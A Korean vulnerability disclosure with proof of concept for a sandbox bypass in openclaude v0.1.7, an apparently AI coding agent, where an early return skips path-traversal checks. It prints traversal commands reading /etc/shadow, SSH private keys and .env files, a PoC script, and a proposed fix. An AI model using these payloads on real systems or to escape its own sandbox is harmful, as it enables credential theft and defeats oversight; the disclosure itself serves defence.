
# CVE-2026-35570 상세 분석 및 개념 증명 openclaude v0.1.7의 샌드박스 우회 취약점으로, 경로 탐색을 통해 샌드박스 외부의 임의 파일을 읽고 쓸 수 있게 해줍니다.
CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7
모든 취약점이 정교한 익스플로잇 체인을 요구하는 것은 아닙니다. 때로는 잘못 배치된 return 문 하나만으로 보안 모델에 구멍을 뚫을 수 있습니다. 이것이 바로 CVE-2026-35570입니다.
이 글은 openclaude v0.1.7에서 발견한 샌드박스 우회에 대한 분석입니다. 파일시스템 격리 계층을 검사 없이 통과하는 경로 탐색 페이로드를 가능하게 하는 로직 결함입니다.
bashPermissions.ts를 살펴보던 중 제어 흐름에서 눈에 띄는 부분이 있었습니다. 권한 로직은 언뜻 보기에 합리적으로 보였습니다. 샌드박스 안에 있으면 명령을 자동 허용하고, 그렇지 않으면 사용자에게 프롬프트를 표시하는 방식이었습니다. 충분히 깔끔해 보였습니다.
하지만 한 가지 질문이 계속 머릿속에 맴돌았습니다. 경로 제약 검사는 실제로 어디서 이루어지는가?
bashToolHasPermission()을 처음부터 끝까지 추적하며 실행 경로를 매핑했습니다:
bashToolHasPermission()
│
├─ [~1445] 샌드박스 자동 허용 블록
│ └─ 거부 규칙 없음 → ALLOW 반환 ⚠️ 조기 종료
│
└─ [~1644] checkPathConstraints() ❌ 도달 불가
샌드박스 블록은 샌드박스 환경에서 대화형 권한 프롬프트를 건너뛰기 위해 설계되었습니다. 완전히 합리적입니다. 문제는 를 반환할 때 함수가 그 자리에서 종료된다는 점입니다. 경로 탐색을 실제로 차단하는 는 실행되지 않습니다.
ALLOWcheckPathConstraints()bashToolHasPermission() 내부에서 샌드박스 자동 허용 블록은 다음 로직을 따릅니다:
이 시점에서 checkPathConstraints()는 완전히 우회됩니다. 경로 탐색 필터는 아무것도 할 기회를 얻지 못합니다.
공격자 관점에서 보면 다음과 같은 명령이 그대로 통과합니다:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
모두 behavior: allow로 반환됩니다. 프롬프트도, 차단도, 아무것도 없습니다.
이 결함이 존재할 때 세 가지가 가능해집니다:
임의 파일 읽기. 샌드박스 경계 밖의 모든 것이 대상이 됩니다 — /etc/passwd, /etc/shadow, SSH 개인 키, .env 파일. OS 수준 권한이 허용하는 한 파일을 읽을 수 있습니다.
임의 파일 쓰기. 동일한 로직이 반대 방향으로도 적용됩니다. 공격자는 샌드박스 외부 경로에 파일을 쓸 수 있으며, 이는 구성 파일을 덮어쓰거나 예상치 못한 위치에 콘텐츠를 배치하는 길을 열어줍니다.
완전한 샌드박스 격리 실패. 샌드박스의 핵심 목적은 파일시스템 경계를 강제하는 것입니다. 이 버그가 존재하면 그 보장은 의미가 없습니다.
CVSS v3.1: 8.4 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
수정 방법은 개념적으로 간단합니다. 샌드박스 자동 허용 블록은 대화형 프롬프트만 억제해야 합니다. 전체 권한 파이프라인을 단락(short-circuit)시켜서는 안 됩니다.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// deny 또는 ask에 대해서만 조기 반환 — allow 시 경로 검사를 건너뛰지 않음
return sandboxResult;
}
// allow인 경우 아래의 checkPathConstraints로 진행
}
// 경로 탐색 검사는 항상 실행되어야 함
return checkPathConstraints(input, appState.toolPermissionContext);
여기서의 핵심 원칙은 다음과 같습니다: 샌드박스 자동 허용은 프롬프트를 건너뛰는 것이지, 보안 검사를 건너뛰는 것이 아닙니다.
| 필드 | 세부 정보 |
|---|---|
| 패키지 | openclaude |
| 영향을 받는 버전 | v0.1.7 |
| 패치된 버전 | 없음 |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (High) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
샌드박스 및 자동 허용 플래그를 설정하여 openclaude를 실행합니다:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
변수 이름은 약간 다를 수 있습니다.
SandboxManager클래스를 확인하여 빌드에 맞는 정확한 환경 변수 매핑을 확인하세요.
다음을 프로젝트 루트에 poc.ts로 저장합니다:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// 샌드박스 조건 설정
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// 경로 탐색이 포함된 페이로드
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// 예상: "deny" — 경로 탐색이 차단되어야 함
// 실제: "allow" ← 취약점 확인됨
그런 다음 실행합니다:
npx ts-node poc.ts
다음과 같은 결과가 표시됩니다:
Result: allow
checkPathConstraints()는 호출되지 않았습니다. 직접 확인하려면 bashPermissions.ts에 로그 라인을 추가하세요:
// 약 1644행 부근
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // 이 로그는 절대 출력되지 않음
// ...
}
스크립트를 다시 실행합니다. 로그가 나타나지 않을 것입니다 — 함수가 실제로 건너뛰어지고 있음을 의미합니다.
샌드박스 세션에서 openclaude를 열고 다음 명령을 제출합니다:
cat ../../../../../etc/passwd
권한 프롬프트나 차단 없이 실행되며 /etc/passwd의 내용이 직접 출력됩니다.
CVE-2026-35570